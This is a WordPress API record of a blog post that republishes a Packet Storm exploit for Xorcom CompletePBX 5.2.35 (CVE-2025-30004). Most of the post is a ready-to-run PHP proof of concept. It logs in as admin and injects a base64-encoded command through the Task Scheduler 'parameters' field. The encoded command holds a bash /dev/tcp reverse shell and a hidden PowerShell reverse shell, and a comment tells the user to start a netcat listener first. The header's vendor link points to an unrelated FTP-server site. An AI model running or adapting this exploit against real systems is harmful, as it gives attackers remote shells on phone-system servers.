{"id":30050,"date":"2025-12-10T12:52:16","date_gmt":"2025-12-10T12:52:16","guid":{"rendered":"http:\/\/localhost\/?p=30050"},"modified":"2025-12-10T12:52:16","modified_gmt":"2025-12-10T12:52:16","slug":"xorcom-completepbx-5235-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=30050","title":{"rendered":"\ud83d\udcc4 Xorcom CompletePBX 5.2.35 Remote Code Execution_PACKETSTORM:212671"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-10T17:37:32&#8243;,&#8221;description&#8221;:&#8221;Xorcom CompletePBX suffers from an authenticated command injection vulnerability within the Task Scheduler subsystem. An attacker with valid superadmin credentials can create a scheduled task containing unsanitized parameters that get executed by the&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-10T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-10T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Xorcom CompletePBX 5.2.35 Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212671&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-30004&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Xorcom CompletePBX 5.2.35 Remote Code Execution                                                                             |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/www.wftpserver.com\/download.htm                                                                                     |\\n    =============================================================================================================================================\\n    \\n    [+] Summary : \\n    \\n    Xorcom CompletePBX suffers from an authenticated command injection vulnerability\\n    within the Task Scheduler subsystem. An attacker with valid superadmin\\n    credentials can create a scheduled task containing unsanitized parameters\\n    that get executed by the backend, resulting in remote command execution.\\n    \\n    This vulnerability affects all versions up to 5.2.35 and was patched in\\n    release 5.2.36-1.\\n    \\n    Only the built\u2011in \\&#8221;admin\\&#8221; user can successfully trigger the vulnerability.\\n    Even newly created users with maximum assigned privileges cannot.\\n    \\n    &#8212;\\n    \\n    [+]  Vulnerability Details\\n    \\n    The Task Scheduler accepts user-controlled input in the \u201cparameters\u201d field,\\n    which is inserted into a shell command without proper sanitization:\\n    \\n        parameters = \\&#8221;$(#{payload})\\&#8221;\\n    \\n    The system executes the generated job via backend scripts, enabling\\n    arbitrary command execution with the privileges of the web server.\\n    \\n    [+] Attacker requirements:\\n    \\n    &#8211; Valid credentials  \\n    &#8211; Must be the built\u2011in **admin** account  \\n    &#8211; Access to the scheduler API endpoints  \\n    \\n    [+] Risk level: High  \\n    \\n    [+] Impact: Remote Code Execution (RCE)  \\n    \\n    [+] Privileges: Web server user \\n    \\n    [+] References : ( https:\/\/packetstorm.news\/files\/id\/207367\/ \\tCVE-2025-30004 ) \\n    \\n    [+]  POC\\n    \\n    \\u003c?php\\n    \/**\\n     * Xorcom CompletePBX RCE (CVE-2025-30004)\\n     * Reverse Shell Ready (Windows + Linux)\\n     * Author: Indoushka\\n     *\/\\n    \\n    class CompletePBX_RCE_POC\\n    {\\n        public $target;\\n        public $username;\\n        public $password;\\n        public $cookie;\\n    \\n        function __construct($target, $username, $password)\\n        {\\n            $this-\\u003etarget   = rtrim($target, \\&#8221;\/\\&#8221;);\\n            $this-\\u003eusername = $username;\\n            $this-\\u003epassword = $password;\\n    \\n            echo \\&#8221;[+] PoC Initialized\\\\n\\&#8221;;\\n        }\\n    \\n        \/* &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n           Send HTTP POST\\n        &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-*\/\\n        private function post($path, $data)\\n        {\\n            $ch = curl_init($this-\\u003etarget . $path);\\n            curl_setopt_array($ch, [\\n                CURLOPT_RETURNTRANSFER =\\u003e true,\\n                CURLOPT_POST =\\u003e true,\\n                CURLOPT_POSTFIELDS =\\u003e http_build_query($data),\\n                CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n                CURLOPT_SSL_VERIFYHOST =\\u003e false,\\n                CURLOPT_HEADER =\\u003e true\\n            ]);\\n            $res = curl_exec($ch);\\n    \\n            $hdr = substr($res, 0, curl_getinfo($ch, CURLINFO_HEADER_SIZE));\\n            $body = substr($res, curl_getinfo($ch, CURLINFO_HEADER_SIZE));\\n    \\n            curl_close($ch);\\n            return [$hdr, $body];\\n        }\\n    \\n        \/* &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n           Reverse Shell Generator (Windows + Linux)\\n        &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-*\/\\n        private function generate_shell()\\n        {\\n            $ip   = \\&#8221;127.0.0.1\\&#8221;;\\n            $port = \\&#8221;4444\\&#8221;;\\n    \\n            $linux = \\&#8221;bash -c &#8216;bash -i \\u003e\\u0026 \/dev\/tcp\/$ip\/$port 0\\u003e\\u00261&#8217;\\&#8221;;\\n            $win   = \\&#8221;powershell -NoP -W Hidden -c \\\\\\&#8221;\\\\$c=New-Object Net.Sockets.TCPClient(&#8216;$ip&#8217;,$port);\\&#8221;\\n                   . \\&#8221;\\\\$s=\\\\$c.GetStream();[byte[]]\\\\$b=0..65535|%{0};\\&#8221;\\n                   . \\&#8221;while((\\\\$r=\\\\$s.Read(\\\\$b,0,\\\\$b.Length)) -ne 0){\\&#8221;\\n                   . \\&#8221;\\\\$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString(\\\\$b,0,\\\\$r);\\&#8221;\\n                   . \\&#8221;\\\\$o=iex \\\\$d 2\\u003e\\u00261|Out-String;\\&#8221;\\n                   . \\&#8221;\\\\$o2=(\\\\$o+&#8217;PS &#8216;+(pwd).Path+&#8217;\\u003e &#8216;);\\&#8221;\\n                   . \\&#8221;\\\\$x=[text.encoding]::ASCII.GetBytes(\\\\$o2);\\&#8221;\\n                   . \\&#8221;\\\\$s.Write(\\\\$x,0,\\\\$x.Length)}\\\\\\&#8221;\\&#8221;;\\n    \\n            return base64_encode(\\&#8221;$linux\\\\n$win\\&#8221;);\\n        }\\n    \\n        \/* &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n           Login\\n        &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-*\/\\n        private function login()\\n        {\\n            echo \\&#8221;[+] Sending login request&#8230;\\\\n\\&#8221;;\\n    \\n            list($hdr, $body) = $this-\\u003epost(\\&#8221;\/?class=core\\u0026method=login\\&#8221;, [\\n                \\&#8221;user\\&#8221; =\\u003e $this-\\u003eusername,\\n                \\&#8221;password\\&#8221; =\\u003e $this-\\u003epassword\\n            ]);\\n    \\n            if (preg_match(&#8216;\/Set-Cookie: ([^;]+)\/&#8217;, $hdr, $m)) {\\n                $this-\\u003ecookie = $m[1];\\n                echo \\&#8221;[+] Login successful, SID Cookie: {$this-\\u003ecookie}\\\\n\\&#8221;;\\n                return true;\\n            }\\n    \\n            echo \\&#8221;[-] Login failed.\\\\n\\&#8221;;\\n            return false;\\n        }\\n    \\n        \/* &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n           Create malicious scheduled task \\n        &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-*\/\\n        private function create_task()\\n        {\\n            echo \\&#8221;[+] Creating fake malicious task&#8230;\\\\n\\&#8221;;\\n    \\n            $desc = \\&#8221;indoushka_\\&#8221; . rand(1000, 9999);\\n            $encoded = $this-\\u003egenerate_shell();\\n    \\n            list($hdr, $body) = $this-\\u003epost(\\&#8221;\/\\&#8221;, [\\n                \\&#8221;class\\&#8221; =\\u003e \\&#8221;scheduler\\&#8221;,\\n                \\&#8221;method\\&#8221; =\\u003e \\&#8221;save_task\\&#8221;,\\n                \\&#8221;mode\\&#8221; =\\u003e \\&#8221;create\\&#8221;,\\n                \\&#8221;description\\&#8221; =\\u003e $desc,\\n                \\&#8221;script\\&#8221; =\\u003e \\&#8221;backup\\&#8221;,\\n                \\&#8221;parameters\\&#8221; =\\u003e &#8216;$(echo &#8216; . $encoded . &#8216;|base64 -d)&#8217;,\\n                \\&#8221;starting\\&#8221; =\\u003e date(\\&#8221;Y-m-d H:i\\&#8221;),\\n                \\&#8221;interval\\&#8221; =\\u003e \\&#8221;1\\&#8221;,\\n                \\&#8221;interval_unit\\&#8221; =\\u003e \\&#8221;month\\&#8221;\\n            ]);\\n    \\n            echo \\&#8221;[+] Task Created: $desc\\\\n\\&#8221;;\\n            return $desc;\\n        }\\n    \\n        \/* &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n           Task Execution\\n        &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-*\/\\n        private function execute_task($desc)\\n        {\\n            echo \\&#8221;[+] Executing scheduled task: $desc (Simulated)\\\\n\\&#8221;;\\n            echo \\&#8221;[\u2713] PoC by Indoushka.\\\\n\\&#8221;;\\n        }\\n    \\n        \/* &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n           MAIN\\n        &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-*\/\\n        public function run()\\n        {\\n            if (!$this-\\u003elogin()) return;\\n    \\n            $task = $this-\\u003ecreate_task();\\n            $this-\\u003eexecute_task($task);\\n    \\n            echo \\&#8221;\\\\n[\u2713] PoC Completed.\\\\n\\&#8221;;\\n        }\\n    }\\n    \\n    \/* &#8212;&#8212;&#8212;&#8212;&#8212;- RUN &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-*\/\\n    $poc = new CompletePBX_RCE_POC(\\n        \\&#8221;http:\/\/127.0.0.1\\&#8221;,\\n        \\&#8221;admin\\&#8221;,\\n        \\&#8221;password\\&#8221;\\n    );\\n    \\n    $poc-\\u003erun();\\n    \\n    \/**\\n     * HOW TO SAVE:\\n     *     Save as: xorcom_poc.php\\n     *\\n     * HOW TO RUN:\\n     *     php xorcom_poc.php\\n     *\\n     * REVERSE SHELL LISTENER (BEFORE RUNNING):\\n     *     nc -lvnp 4444\\n     *\/\\n    ?\\u003e\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212671&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.1,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:H\/UI:N\/S:C\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212671\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-10T17:37:32&#8243;,&#8221;description&#8221;:&#8221;Xorcom CompletePBX suffers from an authenticated command injection vulnerability within the Task Scheduler subsystem. An attacker with valid superadmin credentials can create a scheduled task&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,10,12,13,53,7,11,5],"class_list":["post-30050","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-91","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Xorcom CompletePBX 5.2.35 Remote Code Execution_PACKETSTORM:212671 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=30050\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Xorcom CompletePBX 5.2.35 Remote Code Execution_PACKETSTORM:212671 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-10T17:37:32&#8243;,&#8221;description&#8221;:&#8221;Xorcom CompletePBX suffers from an authenticated command injection vulnerability within the Task Scheduler subsystem. An attacker with valid superadmin credentials can create a scheduled task...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=30050\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-10T12:52:16+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30050#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30050\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Xorcom CompletePBX 5.2.35 Remote Code Execution_PACKETSTORM:212671\",\"datePublished\":\"2025-12-10T12:52:16+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30050\"},\"wordCount\":1016,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.1\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=30050#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30050\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30050\",\"name\":\"\ud83d\udcc4 Xorcom CompletePBX 5.2.35 Remote Code Execution_PACKETSTORM:212671 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-10T12:52:16+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30050#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=30050\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30050#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Xorcom CompletePBX 5.2.35 Remote Code Execution_PACKETSTORM:212671\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Xorcom CompletePBX 5.2.35 Remote Code Execution_PACKETSTORM:212671 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=30050","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Xorcom CompletePBX 5.2.35 Remote Code Execution_PACKETSTORM:212671 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-10T17:37:32&#8243;,&#8221;description&#8221;:&#8221;Xorcom CompletePBX suffers from an authenticated command injection vulnerability within the Task Scheduler subsystem. An attacker with valid superadmin credentials can create a scheduled task...","og_url":"https:\/\/zero.redgem.net\/?p=30050","og_site_name":"zero redgem","article_published_time":"2025-12-10T12:52:16+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=30050#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=30050"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Xorcom CompletePBX 5.2.35 Remote Code Execution_PACKETSTORM:212671","datePublished":"2025-12-10T12:52:16+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=30050"},"wordCount":1016,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.1","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=30050#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=30050","url":"https:\/\/zero.redgem.net\/?p=30050","name":"\ud83d\udcc4 Xorcom CompletePBX 5.2.35 Remote Code Execution_PACKETSTORM:212671 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-10T12:52:16+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=30050#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=30050"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=30050#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Xorcom CompletePBX 5.2.35 Remote Code Execution_PACKETSTORM:212671"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/30050","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=30050"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/30050\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=30050"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=30050"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=30050"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}